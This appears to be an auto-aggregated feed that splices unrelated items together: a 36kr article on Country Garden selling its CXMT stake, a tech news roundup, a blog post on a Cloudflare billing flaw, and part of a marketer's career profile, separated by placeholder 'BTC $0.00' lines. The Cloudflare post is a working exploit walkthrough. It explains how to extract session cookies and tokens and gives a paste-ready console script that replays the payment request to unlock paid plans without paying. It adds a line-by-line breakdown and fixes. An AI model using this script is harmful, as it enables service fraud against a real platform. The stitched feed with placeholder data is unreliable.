地产行业内，曾有望跑出两家明星创投企业，一家是世纪金源，另一家是碧桂园。前者现在做得顺风顺水，收获一个又一个IPO，而碧桂园因为地产业务暴雷，需要大量资金保交楼，被迫中断了在科技领域的投资“大爆发”。 01 5月17日，计划登陆科创板的长鑫科技集团股份有限公司（以下简称：长鑫科技）更新了招股书。新招股书的财务数据显示，2026年第一季度，长鑫科技营收508亿元，同比增长719.13%；归母净利润247.62亿元，同比大增1688%，完成创历史的盈亏翻盘（2025年累计亏损366.5亿元）。可以预计，随着营收和利润的大幅增长，长鑫科技的估值将会再创新高。上市前，长鑫科技的估值已逼近3000亿元。但若按2026年一季度的财务表现，结合同类已上市企业的市盈率计算，部分机构给到长鑫科技的最新估值高达2万亿左右。长鑫科技是中国大陆规模最大的DRAM研发设计制造一体化（IDM）企业。DRAM芯片是电脑、手机、服务器内存条的核心部件。今年，存储产业一飞冲天，占全球市场份额90%以上的三星、SK海力士、美光赚得盆满钵满。而长鑫科技就是新崛起的“中国科技”，产能中国第一、全球第四。所以，长鑫科技成功上市，以及股价大涨，基本上就是板上钉钉。首先受益的是长鑫科技背后的投资人，包括安徽、北京、广东等国资，还有阿里巴巴、腾讯、美的等参与投资的企业。但有一家企业，估计会默默心痛、后悔、无奈。它就是碧桂园。 02 2024年12月6日，碧桂园按照惯例召开一月一次的管理层会议，集团董事会主席杨惠妍在会上再次强调要全力以赴保交房。杨惠妍还说：在做重大决策时，要想象10年后自己会不会后悔。用10年的眼光去做决策，就不容易着急，不会做出让自己后悔的一些短视行为。但在这次会议之前，碧桂园已经决定转让其持有的长鑫科技1.56%股权。为了便于交易，2023年3月，碧桂园创投先将这部分股权转让给了集团旗下另外一家企业——佛山市南海区汇碧五号股权投资合伙企业。2024年12月，再次交易，将持有的长鑫科技全部股权正式转让给合肥国资背景的合肥建长股权投资合伙企业。这笔交易中，转让价格是2.22元/股，总价20亿元。碧桂园落袋为安。按照目前机构给出的长鑫科技的最新估值计算，碧桂园曾经持有的股本价值高达300亿元以上。碧桂园的投资金额为9亿元，退出时的回报约1.07倍，看似不亏，却最终与30倍回报失之交臂。用一个数据对比一下，更能理解碧桂园的“痛”：碧桂园目前市值约120亿港元，约合人民币104亿元。它在长鑫科技“丢失”的回报，接近其市值的3倍。 03 “失策”背后，是碧桂园的无奈。 2024年，卖掉长鑫科技股权的这年，碧桂园亏了328.35亿元。权益合同销售额，直接从上一年的1743亿元，“膝斩”到了472亿元。没有利润，现金流大幅下滑，再加上“保交楼”的任务，让碧桂园陷入流动性危机。因此，它不得不把手中的非常具有增长潜力的一些科创企业股权出售。除了在长鑫科技IPO前清仓之外，碧桂园还忍痛转手了持有的蓝箭航天、卓宝科技、贝壳等企业股权。蓝箭航天是国内商业航天领域明星企业，目前正在推进IPO。根据企业公开的招股书，其IPO后估值预计将达到约750亿元。碧桂园曾经持有蓝箭航天的股权比例为11.063%，对应的最新价值超过80亿元。而碧桂园在2025年4月出售蓝箭航天时的交易价为13.05亿元——这是碧桂园错过的又一大笔财富。碧桂园还曾在2021年参与过追觅科技的C轮融资，投资金额约2亿元。‌‌‌‌但2024年6月‌，正式退出了后者的股东名单，完成清仓。错失多次“发财”机会之后，有碧桂园的个人股东开始向碧桂园喊话“不要再卖了”。‌‌‌ 04 根据公开资料，碧桂园在创投领域的布局主要通过深圳市碧桂园创新投资有限公司开展，也就是业内人口中的“碧桂园创投”。碧桂园创投是杨惠妍家族在地产之外的另一笔主要资产。并且随着地产行业下行，创投已经成为杨惠妍家族目前最重要的资产。

来源：天眼查碧桂园创投正式注册于2019年，是碧桂园集团下属的一级股权投资部门，但独立于上市平台之外。创始之初，由杨国强女婿、杨子莹丈夫——周鸿儒牵头负责，核心团队包括陈翀、许羊、王浩、代永波、沈烨、杜浩、刘建等投资圈资深人士。周鸿儒是哈佛大学毕业的高材生，专业为应用数学与经济，曾在贝尔斯登公司、苏格兰皇家银行以及招商基金履职。碧桂园创投团队早在2015年就已经成型，但最初的投资范围局限在地产产业链上。直到2018年杨惠妍接班，碧桂园创投才正式转向，把重点投资领域放在了半导体、新能源、人工智能、生物医药等硬科技赛道，赶上了一波硬科技红利。碧桂园创投旗下还设有多个专项子基金，包括聚焦半导体的“碧芯基金”、专注新能源汽车产业链的“绿源基金”，以及瞄准AI大模型与行业应用的“智算基金”。值得注意的是，碧桂园创投正式成立不久，就挤进创投一线阵营。在IT桔子的统计数据中，碧桂园创投在2020年、2021年曾力压百度风投、京东等互联网大厂，排进国内活跃CVC投资方TOP10。但其投资节奏在2022年后明显放缓：2022年新增投资17家，2023年缩减至6家，2025年仅新增3笔投资。投资逐步收缩的主要原因有两个：一是，国内CVC风头逐渐滑落，创投大潮高峰已过；二是，碧桂园集团的现金流日益紧张，集团整体战略从“规模扩张”全面切换至“现金为王”，地产业务失血，甚至亏损，切断了杨惠妍家族用自有资金不断在创投领域扩张布局的资金来源。不过，碧桂园创投仍是一个规模庞大、属于杨氏家族私人的资产池。据统计，截至目前，碧桂园创投累计管理资金规模超百亿，已投资超90家企业，其中12家实现IPO，28家成长为独角兽企业。

来源：天眼查 2024年以来，碧桂园为应对流动性压力和保障保交楼资金需求，加速处置部分优质资产，包括清仓长鑫存储、蓝箭航天、追觅科技等明星项目。但由于禁售、股权质押等原因，目前仍保留了紫光展锐、壁仞科技、精智未来、蜂巢能源、比亚迪半导体、蓝晶微生物‌等核心硬科技资产，以及菜鸟网络、遇见小面等互联网、消费企业。以上碧桂园创投仍持股的企业股权，对应的价值超过百亿元。这是目前碧桂园杨氏家族最重要的资产之一。 05 近期，碧桂园又一次召开集团管理会议，杨惠妍在会上分享了一个案例。她说，最近参访了一家千亿级科技企业，它的创始人是一位女性前辈，这位前辈每天都高强度投入AI与机器人前沿技术学习与钻研，不分昼夜、满怀激情地工作。所以，她给自己2026年定的姿态是“ALL IN”。但股价已经跌到0.255港元的碧桂园，仍在生死线上。根据碧桂园2025年年报数据，截至去年年底，碧桂园权益土地储备约9540万平方米——这些在建物业和已建成待售物业的账面价值合计超4821.5亿元，但仍然需要大量的资金投入才能盘活。更关键的是，随着“第四代住宅”的普及，沉淀在暴雷房企手中的土储库存，按照当初规划，建设的都是旧时代的住宅产品。这些产品已经被市场定义为跟不上需求的滞销品。 “大规模土储

文章来源

标题: 长鑫科技更新招股书，碧桂园错失300亿
来源: ai
链接: https://36kr.com/p/3817039204139908?f=rss
时间: 2026-05-20 10:54:58 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3817039204139908?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T06:00:31.312223+00:00

氪星晚报｜百度：一季度营收321亿元，AI业务收入136亿元；马斯克预��今年美国将广泛使用自动驾驶汽车；巨力索具旗下十余家企业已注销

Tue, 19 May 2026 18:00:32 +0000

原文摘要

大公司：索辰科技：物理AI业务目前尚处于布局初期 36氪获悉，索辰科技公告，公司股票于2026年5月14日至5月18日连续三个交易日内收盘价格涨幅偏离值累计达到30%，属于股票交易异常波动情形。公司近期实施的募投项目“物理合成数据核心技术基座构建与多领域场景示范应用项目”尚处于筹备阶段，若出现募集资金投资项目未能顺利实施、新技术开发进度不达预期、研发遭遇技术瓶颈甚至失败，将会对公司经营业绩造成一定影响。公司物理AI业务目前尚处于布局初期。物理AI技术研发投入大、技术迭代快，存在研发进度不及预期、核心技术迭代风险；同时下游行业应用场景拓展、商业化变现存在不确定性，若市场需求、行业政策、技术竞争格局发生不利变化，物理AI业务收入及盈利贡献存在不及预期风险。智元WITA成为全国首例完成大模型备案的具身智能交互模型 36氪获悉，根据上海市网信办最新公告的上海市生成式人工智能服务备案情况，智元WITA成为全国第一款实现合规备案的具身智能交互大模型，标志着中国具身智能产业从“技术验证”进入“合规商用”的新阶段。依托智元“三智一体”全栈技术体系，智元WITA核心应用于人形机器人交互场景。上交所：上周新增8家IPO受理企业 36氪获悉，据“上交所企业上市服务”消息，本期（5月11日—5月17日）新增8家受理企业，其中上交所主板1家，科创板3家，创业板3家，北交所1家。截至5月17日，今年新增31家受理企业。截至5月17日，各板块在审企业共295家。其中上交所62家（主板18家，科创板44家），深交所61家（主板17家，创业板44家），北交所172家。截至5月17日，2026年已公布终止审查（撤材料+否决/终止注册）企业20家，其中上交所7家（主板3家，科创板4家），深交所创业板1家，北交所12家。腾讯音乐：收购喜马拉雅的事项已经完成 36氪获悉，腾讯音乐在港交所公告，于2026年5月18日，根据并购协议的条款，收购喜马拉雅的事项已经完成，据此，喜马拉雅相关股东及喜马拉雅的雇员持股计划参与者持有的喜马拉雅权益性证券已予以注销，以换取并购对价，该对价包括（视适用调整而定）总额最高为12.6亿美元的现金及最多总数1.75亿股本公司A类普通股（包括本公司于交割时新发行的A类普通股，以及本公司授出的以股权为基础的激励相关的A类普通股）。于收购事项交割后，喜马拉雅已成为本公司的全资附属公司。爱奇艺：一季度总收入62.3亿元，会员收入环比增长 36氪获悉，爱奇艺发布2026年第一季度财报。财报显示，一季度爱奇艺总收入62.3亿元。其中，会员服务收入42.0亿元，环比增长2%。在线广告服务收入12.4亿元，内容发行收入3.6亿元，其他收入4.3亿元。百度：一季度营收321亿元，AI业务收入136亿元 36氪获悉，百度发布2026年第一季度财报。财报显示，一季度营收321亿元，上年同期营收324.52亿元。一般性业务收入260亿元，同比增长2%；其中AI业务收入136亿元，占百度一般性业务收入的52%，已连续多个季度增长；GPU云收入同比增长184%。百度创始人李彦宏表示，AI业务收入占比的首次过半，标志着AI已成为百度的核心驱动力。巨力索具旗下十余家企业已注销 36氪获悉，近日，巨力索具因涉嫌信息披露误导性陈述违法违规，被证监会立案调查。天眼查App显示，巨力索具股份有限公司成立于2004年12月，法定代表人为杨建国，注册资本9.6亿人民币，经营范围包括应急装备、装备专用工装及工具和箱组的设计、生产和销售等，由巨力集团有限公司、杨建忠、香港中央结算有限公司等共同持股。对外投资信息显示，该公司对外投资26家企业，其中10余家企业处于存续状态，包括巨力索具（河南）有限公司、河北巨力应急装备科技有限公司等，其他10余家企业已注销。投融资： “华羽先翔”完成超亿元Pre-A+轮融资，蚂蚁集团领投 36氪获悉，近日，国内全倾转eVTOL企业“华羽先翔”完成超亿元Pre-A+轮融资，本轮融资由蚂蚁集团领投、彼岸时代及复星创富跟投。融资资金将重点用于加速鸿鹄系列eVTOL的适航取证，以及低空出行及商业场景的落地与创新。 “极壳科技”获5000万美元B+轮融资 36氪获悉，近日，外骨骼品牌“极壳科技”宣布完成5000万美元B+轮融资。此轮融资由蚂蚁集团和美团龙珠领投，Sofina、Granite Asia跟投，高鹄资本担任独家财务顾问。此轮融资将加速极壳在技术研发、全球市场拓展及消费场景应用方面的布局。新产品：酷开发布企业AI操作系统 36氪获悉，近日，深圳市酷开网络科技股份有限公司举办“场景智能·硅基管理”发布会，正式推出原生AI企业操作系统——酷开Happy Work AIOS Lite MVP。该系统已实现从生活场景到企业经营场景的全维度覆盖，完成多场景AI生态闭环落地。今日观点：马斯克预计今年美国将广泛使用自动驾驶汽车埃隆·马斯克周一表示，他预计今年晚些时候，无需人类驾驶的自动驾驶汽车将在美国更加普及。马斯克通过视频连线在特拉维夫举行的“智能出行峰会”上发言时称，得克萨斯州的三个城市已有无人驾驶汽车在没有安全监视员的情况下运行，并补充说今年这一模式将扩展至全美。（新浪财经）其他值得关注的新闻： 2026电影总票房已超145亿元据票务平台数据，截至今天下午，2026年电影票房已超145亿元。五一档新片长尾效应持续释放，其中《给阿嬷的情书》连续九天蝉联单日票房榜首。（央视新闻）特朗普：本应要求获得更多英特尔公司的股份美国总统唐纳德・特朗普在周一出版的杂志采访中表示，他本应代表美国政府要求获得更多英特尔股份。特朗普政府去年持有英特尔10%的股份，并宣布向这家芯片制造商投资约100亿美元，用于在美国境内新建或扩建工厂。交易完成八个月后，美国政府持有的英特尔股份市值已超过500亿美元。（新浪财经）国家药监局：我国4月批准注册医疗器械产品318个今天从国家药监局获悉，我国4月共批准注册医疗器械产品318个。其中，境内第三类医疗器械产品272个，进口第三类医疗器械产品20个，进口第二类医疗器械产品26个。 (央视新闻)

文章来源

标题: 氪星晚报｜百度：一季度营收321亿元，AI业务收入136亿元；马斯克预��今年美国将广泛使用自动驾驶汽车；巨力索具旗下十余家企业已注销
来源: ai
链接: https://36kr.com/p/3814695536336387?f=rss
时间: 2026-05-18 19:11:14 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3814695536336387?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-19T18:00:32.032700+00:00

Cloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付

Tue, 19 May 2026 16:10:00 +0000

⚠️ 免责声明：本文基于已公开资料进行技术复盘，所有内容仅用于授权安全研究与防御建设。

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 5 月，距今已过去 2 个月。Cloudflare 对安全漏洞响应迅速，该计费竞态条件大概率已被修复，当前可用性存疑。本文保留仅供分布式系统安全设计参考。

一、一个有趣的发现：身份与权限的"量子叠加"

在针对 Cloudflare 订阅体系进行逆向测试时，研究人员发现前端结算逻辑与后端状态同步之间存在一个精妙的"空隙"——通过特定方式的请求重放（Replay Attack），可以在系统未产生实际账单的情况下，诱导后端激活 Pro 或 Business 计划。

其核心表现不是简单的"绕过"，而是一种奇特的状态错位：

权限已越权：账号实质性解锁 Pro/Business 专属功能——WAF 高级规则、图像优化、独享边缘节点等全部可用。
状态未同步：订阅管理界面仍显示为 Free 计划，计费链路未闭环，不产生任何待支付条目或扣费账单。
零成本运行：利用结算接口的逻辑缺陷，实现了高级权限的"0 元购"。

这种现象在安全研究中有一个形象的名字——量子叠加态：账号同时处于 Free 和 Pro 两种状态，取决于你从哪个维度去观测它。

二、前置条件

复现该逻辑缺陷需要满足以下条件：

域名已接入 Cloudflare 账户；
支付环境未绑定有效卡（或绑定余额为 0 的卡以通过前端校验）；
在 Active Subscriptions 页面点击 Change，选择 Pro 或 Business，进入待支付页面。

到这里，你拥有了一个合法的会话上下文——这是关键。接下来的所有操作，都是在合法会话内对接口时序的操纵，而非传统的认证绕过。

三、漏洞利用全流程

第一步：定位关键请求

打开浏览器 DevTools（F12），切换到 Network 标签页。

在待支付页面点击底部的 支付按钮，留意 Network 面板中新产生的请求。定位名为 Append 的 POST 请求——这就是 Cloudflare 订阅结算的核心接口。

这个请求一旦发出，后端会同时触发两条路径：权限授予 和 支付校验。问题就出在这两条路径不是原子执行的。

第二步：提取攻击所需参数

选中 Append 请求，从 DevTools 中提取以下四个关键要素：

参数	DevTools 位置	用途
Request URL	Headers → General → Request URL	目标接口地址，类似 `https://dash.cloudflare.com/api/v4/.../append`
Cookie	Headers → Request Headers → Cookie	当前登录会话的身份凭证
X-atok	Headers → Request Headers → x-atok	Cloudflare 仪表盘的 CSRF/身份校验令牌，每次登录刷新
Payload	Payload → View Source	请求体的原始 JSON，包含订阅升级的目标计划 ID、域名 zone_id 等

这四个参数构成了一个完整的"合法升级请求"。重放它们，就是在用合法的身份反复触发升级逻辑。

第三步：理解核心漏洞原理

一个健康的订阅结算流程应该是：

POST /append → 校验支付 → 支付成功 → 写入 Pro 权限

但 Cloudflare 的实际实现路径是：

POST /append → 写入 Pro 权限 ─┐
 ├─ 两步异步，非原子
 异步校验支付 ────┘
 ↓
 支付失败（无有效卡）
 ↓
 补偿任务回滚权限（有延迟，可能漏执行）

两条路径之间存在一个时间窗口。在这个窗口内，权限已经写入 Metadata，但账单尚未确认失败。如果利用并发请求冲击这个窗口，就能让权限"生根"而账单"流产"——数据库的 MVCC 机制在大量并发写入时，某些写操作可能绕过回滚逻辑。

四、漏洞利用脚本详解

以下是完整的 DevTools Console 自动化重放脚本。把它粘贴到浏览器 Console 中执行，替换掉 PASTE_XXX 占位符即可：

/**
 * Cloudflare Subscription Bypass Replay Script
 * 在 DevTools Console 中执行，利用 Append 接口的竞态窗口
 */

// ========== 第一步：填入从 Network 面板提取的参数 ==========

const url = 'PASTE_YOUR_URL_HERE';
// ↑ 从 Headers → General → Request URL 复制
// 格式类似：https://dash.cloudflare.com/api/v4/accounts/xxx/subscriptions/xxx/append

const headers = {
 'content-type': 'application/json',
 'accept': '*/*',
 'origin': 'https://dash.cloudflare.com',
 'referer': 'https://dash.cloudflare.com/',
 'x-atok': 'PASTE_YOUR_X_ATOK_HERE', // ← 从 Request Headers 复制
 'x-cross-site-security': 'dash',
 'cookie': 'PASTE_YOUR_COOKIE_HERE', // ← 从 Request Headers 复制
 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36'
};

const payload = {
 // ← 从 Payload → View Source 复制完整 JSON
 // 包含 zone_id、plan_id、billing_cycle 等字段
};

// ========== 第二步：执行并发重放 ==========

const delay = ms => new Promise(res => setTimeout(res, ms));

(async () => {
 console.log("%c 开始执行请求重放...", "color: #007aff; font-weight: bold;");

 for (let i = 0; i < 10; i++) {
 fetch(url, {
 method: 'POST',
 headers: headers,
 body: JSON.stringify(payload)
 })
 .then(res => console.log(`[Batch ${i}] Status: ${res.status}`))
 .catch(err => console.error(`[Batch ${i}] Error:`, err));

 await delay(100); // 每次请求间隔 100ms
 }

 console.log("%c 脚本执行完毕，请刷新控制面板验证权限。", "color: #34c759; font-weight: bold;");
})();

逐行深度拆解

① 请求头中的安全参数复用

'x-atok': 'PASTE_YOUR_X_ATOK_HERE',
'cookie': 'PASTE_YOUR_COOKIE_HERE',
'x-cross-site-security': 'dash'

X-atok 是 Cloudflare 仪表盘的反 CSRF 令牌，在页面加载时注入，每次登录会话生成一次。正常情况下它防止跨站请求伪造，但在这里我们在同源的 Console 中重放，完全合法。x-cross-site-security: dash 是 Cloudflare 内部微服务间通信的标识头，说明请求走的是 Dashboard 的内部网关路径。

② Payload 的结构

从 View Source 复制出来的 JSON 包含关键字段：

{
 "zone_id": "xxx",
 "plan_id": "pro" | "business",
 "billing_cycle": "monthly" | "annual",
 "payment_method_id": "xxx",
 ...
}

payment_method_id 指向一个无效或余额为零的支付方式——前端通过了，但后端支付网关会拒绝。

③ for (let i = 0; i < 10; i++) —— 为什么是 10 次？

10 次 × 100ms 间隔 = 约 1 秒的持续攻击。后端支付校验的典型延迟在 200-800ms（支付网关回调超时）。10 次请求覆盖了这一秒内的多个时间切片，确保至少有 1-2 次落在"权限已写、账单未回"的临界窗口内。

④ fetch().then() 而非 await fetch() —— “请求波"技巧

fetch(url, { ... })
 .then(res => console.log(...))
 .catch(err => console.error(...));

这里没有 await。主循环每 100ms 发出一个 fetch 就立即进入下一轮——不等待响应。效果是：

请求像机枪一样连续发射，互不阻塞
在同一瞬间可能有 2-3 个请求同时在网络层飞行
服务端同时面对多个并发请求，后端线程池被瞬间占满，状态机的原子性更容易被打破

如果改成 await fetch()，请求严格串行——第一个收到 403/回滚之后再发第二个，窗口期已过。

⑤ await delay(100) —— 间隔时间的工程计算

太短（< 50ms）：浏览器同域并发限制通常是 6 个，超过的请求会在浏览器层排队，实际上达不到并发效果；同时服务端可能触发 rate limiting
太长（> 500ms）：支付回调已完成，权限已被回滚，后续请求全是"送人头”
100ms：恰好落在浏览器并发安全区（10 次 × 100ms 不会瞬间占满 6 槽位），同时窗口覆盖回滚延迟

⑥ 控制台日志的视觉心理学

console.log("%c 开始执行...", "color: #007aff; font-weight: bold;");
console.log("%c 脚本执行完毕...", "color: #34c759; font-weight: bold;");

开头用蓝色 #007aff（iOS 系统蓝，冷色调、技术感），降低操作紧张情绪。结尾用绿色 #34c759（iOS 成功绿），暗示操作完成且成功。这不是随意选的——操作者心理暗示是漏洞利用的一部分。

攻击时序图

时间轴 ──────────────────────────────────────────────────►

请求1: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
请求2: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
请求3: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
 │
 [支付回调到达 ── 全部失败，触发回滚]
 │
请求4: POST /append ──► 权限写入 ✓（部分数据库副本未完成回滚）
请求5: POST /append ──► 权限写入 ✓（MVCC 快照隔离，读旧版本）
请求6: POST /append ──► 权限写入 ✓（补偿任务被排队，延迟执行）
 ·
 ·
 ·

结果：权限表状态 = Pro/Business ✓
 账单表状态 = 未支付 / Free ✓
 控制面板显示 = Free ✓
 实际功能 = Pro/Business ✓ ← 量子叠加态

五、为什么这个漏洞能成立？——四个必须同时满足的条件

从代码层面还原，这个漏洞成立必须满足以下四个条件：

条件 1：grant_entitlement() 早于 charge_confirmed()

后端在处理 Append 请求时，grant_entitlement()（权限发放）在同步路径上，而 charge_confirmed()（支付确认）被放入异步队列。代码结构类似于：

function handleAppend(req):
 grant_entitlement(req.plan_id) // 同步，立即执行
 async_queue.enqueue(charge(req)) // 异步，排队执行
 return 200 OK // 前端收到"成功"

条件 2：缺少幂等键（Idempotency Key）

同一个 Append 请求可以被重放多次，每次都进入完整的处理逻辑。如果有 Idempotency-Key，第二次重放会直接返回"请求已处理"，竞态窗口就不存在了。

条件 3：权限与账单不在同一事务边界

权限表（entitlements）和账单表（billing_records）很可能是两个独立的微服务，没有共享的事务上下文。回滚操作依赖异步消息队列（如 Kafka），存在延迟。

条件 4：补偿任务的执行延迟或漏执行

支付失败后触发的 compensate()（补偿回滚）是通过定时任务或消息队列异步执行的。在高并发冲击下，补偿消息可能被积压、丢弃，或者补偿逻辑本身没有做到幂等重试。

六、为什么这类漏洞总在 SaaS 平台反复出现？

这不是 Cloudflare 一家的问题。从 Stripe 的早期 API 设计到各种 SaaS 订阅系统，类似模式反复出现。根本原因有三：

1. 计费被当成"业务功能"而非"安全边界"

2. “先开后付"的产品本能

产品团队追求"丝滑体验”：用户点一下，权限立刻生效，支付在后台慢慢跑。这在 99.9% 的场景下是好的设计，但留下了 0.1% 的异常窗口——安全研究者追逐的正是这 0.1%。

3. 分布式系统的一致性税

当 Entitlement Service 和 Billing Service 是独立微服务时，跨服务事务天然需要 Saga 或 2PC。如果补偿机制设计不完善，就会出现"权限已售出、资金未到账"的状态缝隙。

七、修复方案（可落地）

1) 强制先支付后授权

// ❌ 漏洞路径
POST /append → grant_entitlement() → async charge() → compensate if fail

// ✅ 修复路径
POST /append → charge() → on charge_confirmed → grant_entitlement()

权限发放只响应 charge_confirmed 事件。未确认的请求停留在 pending 状态，前端可轮询。

2) 引入幂等键

POST /append
Header: Idempotency-Key: <uuid>

// 服务端：
if (idempotency_store.exists(key)):
 return cached_response // 不重复处理

Stripe 的标准实践。同一键只允许一次状态推进，并发 100 次只处理 1 次。

3) 单事务或 Saga 强补偿

权限与账单落库在同一数据库事务内完成
跨服务使用 Saga 模式，每步有对应的 compensate 操作
补偿必须是可重试、可审计、有告警的——不能依赖"定时扫表"

4) 运行时二次校验

在 WAF 规则配置、图片优化等关键能力入口，实时查询账单状态，不仅依赖"历史已授权"标记。每次 API 调用都是检查点：

handleWafRule() {
 if (!billing_service.isProActive(user)) {
 return 403;
 }
 // ... 正常处理
}

5) 风控检测

同一账户 1 秒内超过 3 次 Append 触发人工审核
支付失败后 30 秒内锁定升级接口
对短时密集相同请求进行限速和熔断

八、结语

表面看这是一个"白嫖漏洞"，本质上是分布式系统中状态一致性的经典问题：

对研究者：关注点从"能不能绕过"升级为"为什么能绕过"，定位状态机缺陷比找到具体利用更有价值。
对平台方：计费系统是安全边界的一部分。一致性设计 = 资金安全 + 品牌安全。
对工程师：每一次"异步优化体验"都是一次风险成本评估。先开后付很舒服，但补偿路径必须铁板钉钉。

安全研究的真正价值，不是放大利用，而是让系统变得更难被利用。

裸辞九个月，降薪跳槽，一个80后营销人如何“上岸甲方”？｜百万年薪系列013

Tue, 19 May 2026 12:00:53 +0000

原文摘要

图源：公众号「有三思 U Sense」） 2023年秋，杭州亚运会湖州赛区。于成龙手持亚运火炬跑过城市街巷，掌心传来的温度让他想起十四年前，那个没有暖气的冬天。彼时他在河南安阳的一间出租屋里，裹着羽绒服改方案，手指冻得握不住笔。他在那个冬天起跑，完成了一场长达18年的迁徙：从连“VI”是什么意思都要查百度的广告新人，到亚奥理事会特聘专家；从地产广告公司年薪两万的驻场专员，到网络安全企业百万年薪的市场高管；从乙方执行到甲方操盘；从职业经理人再到国际赛事组委会成员…… “懂得切换”是于成龙的逆袭之道。他在广告业黄金期的尾声中入行，在航司市场化改革时转场，在网络安全上升期登顶，在国际赛事复苏期再出发。一位跨界者的职业生存史里，满载着时代的鼓声。

在地产广告的寒冬里，选择啃下基本功 ╱ 01 进入正规军，选择在4A体系里完成职业化重塑 ╱ 02 直面高压：选择在电商大促的硝烟中验证操盘能力 ╱ 03 选择暂停键，换取认知重启 ╱ 04 选择从乙方转向甲方，在航司体系里重建话语权 ╱ 05 选择民营航司的辅营赛道，在体制缝隙中寻找突破 ╱ 06 选择跨界网安，将赛事营销能力嫁接到B端市场 ╱ 07 选择创业再出发，从职业经理人到国际赛事操盘手 ╱ 08 尾声 ╱ 09

在地产广告的寒冬里，选择啃下基本功年龄：23-26岁｜年薪：2-3万元 2008年，中国的广告业浮在一层金色雾气里。北京奥运会带来的的商业浪潮、地产行业的极速扩张，以及互联网资本萌芽时的暗流，共同交织成了当时的行业背景。在新旧媒介交替的特殊节点，纸刊的油墨香还未散去，网端的像素光业已显形。当时的甲级写字楼里，动辄上亿的策划案是高频谈资，从业者周旋于宏大辞令与光鲜的职业表象中，使得广告业在外界看来，更像是一个充满溢价与机会的“黄金行当”。受到某种职业体面感的驱动，于成龙选择在那一年入行。他认为这是一份时髦且稳妥的工作。入职第一天，同事让他“看一下VI”（全称Visual Identity, 即企业VI视觉设计，通译为视觉识别系统）。于成龙完全不知道这是什么意思——类似窘境接连发生，他只能用百度恶补到凌晨三点。“很多广告相关内容我完全搞不懂，不知道该问什么，也不好意思问。” 好在前两个月，他沉下心，把Logo的构成逻辑、VI的规范体系、营销话术的拆解方法逐个啃透。这些当时看来枯燥的基本功，很快就在河南安阳的工地上派上了用场。 2009年冬天，于成龙被派往河南安阳驻场。项目组租的办公室没有暖气，北方寒冬里，一群年轻人凑钱买了个小太阳，得围在一起才能取暖。他白天在工地踩盘、布展、对接客户，晚上裹着羽绒服改方案，常常一抬头已是凌晨。类似的驻场经历还有很多。他见识过河南冬天的严寒，也体会过辽宁鲅鱼圈的酷暑；见过清晨五六点工地的扬尘，也听过客户最苛刻的返修意见。资源匮乏的高压环境逼着他把简单方案做到极致。这些磨练出的抗压能力与执行力，成了他职业生涯的初始资本，也催生了更大的野心。 2011年是他入行的第三年。于成龙动了跳槽的心思。在小公司的野路子里摸爬滚打了三年，他隐约觉得，自己需要更系统的训练。他主动给国内头部广告公司正邦投递了简历——这家服务过众多世界五百强的公司，正是他眼里的“行业正规军”。 “就好比，你打上CBA的时候，突然知道原来还有个NBA，就想去NBA试试。”他想去那个更专业的赛场试试“自己的斤两”。

风口Sense：2008年，奥运经济与房地产狂飙的双重助推下，传统广告业迎来最后一波黄金时代。只要肯熬夜就能学到真本事，只要肯驻场就能攒下客户资源……于成龙在资源极度匮乏的环境中完成的野蛮生长，恰好接住了这波红利的尾巴。

进入正规军，选择在4A体系里完成职业化重塑年龄：26-31岁｜年薪：25-30万元 2011年春，于成龙加入正邦。这家国内知名广告公司服务过众多中国品牌百强及世界五百强企业，完善的培训体系与高端客户资源为他打开了新世界。从野路子到系统派，预期中的不适应并未出现：正邦的MPA培训体系，会对所有新人按照“行业小白”的标准从头培训。 “那一刻，我感觉自己和其他人站在了同一条起跑线上。”同期入职的一些资深的同事对培训并不算上心，但这种“回炉”做法，反而让他觉得没有历史包袱，得以快速汲取新知。两周后，于成龙通过考核，开始接触客户。彼时正邦服务的基本是大型央国企，项目员工可直接与甲方董事长对话。品牌战略规划、视觉设计规范、客户需求拆解、项目落地执行……通过深度参与了多个完整项目，他逐渐摸清了广告产出全流程。不仅如此，在正邦的6年，也让他拥有了服务上百个不同行业客户以及带团队的经验。从新华社、中国航天科技集团，到南方航空、中粮集团，再到武汉城市形象、京东集团几大事业部的品牌升级——于成龙的项目履历逐渐增厚。此外，他还收获了德国IF设计大奖等荣誉，年薪也从最初的几万跃升至25-30万元。 2014年，于成龙晋升为品牌整合部总监，同年被任命为电商事业部负责人，专属负责京东、阿里、顺丰优选等一线电商品牌客户。从AE（客户执行）、AM（客户经理）到AD（客户总监），他完成了从执行小兵到业务操盘手的转变。

● 于成龙与正邦创始人陈丹合影只是越往后，他越感觉到不对劲。 2015年4月，于成龙与爱人刚领证，下午就马不停蹄赶赴外地出差；婚宴当天，上午仪式结束送走宾客，下午便带着团队赶往外地对接项目。连轴转的节奏里，他突然意识到：自己已经把这套工作逻辑摸得太熟了。对他而言，哪怕再拼，也只是在重复已经烂熟于心的流程，曾经让他热血沸腾的新挑战，慢慢变成了按部就班的任务。也就是在这段连轴转的日子里，于成龙带队去参加京东项目的行业竞标会，第一次遇到了180China的团队。对方身上那种更灵活、更高效的状态，一瞬间照穿了他内心的迷雾：原来工作不是只能是这样，正邦之外，还有他没试过的可能性。 “我渴望更广阔的舞台，想试试在不同体系里，自己的能力能不能得到更大��挥。”这个念头越来越清晰，驱使着他开始主动关注新的机会。

风口Sense：2011-2016年正值中国品牌建设上升期，央国企品牌化与互联网电商化双线并进。这是品牌咨询仍具高溢价、4A公司能直接对话董事长的黄金时代。正邦的MPA培训体系赋予的“正规军作战手册”，叠加服务京东、顺丰等新兴巨头的项目经验，让于成龙完成了从“野路子”到“系统派”的关键跃升。

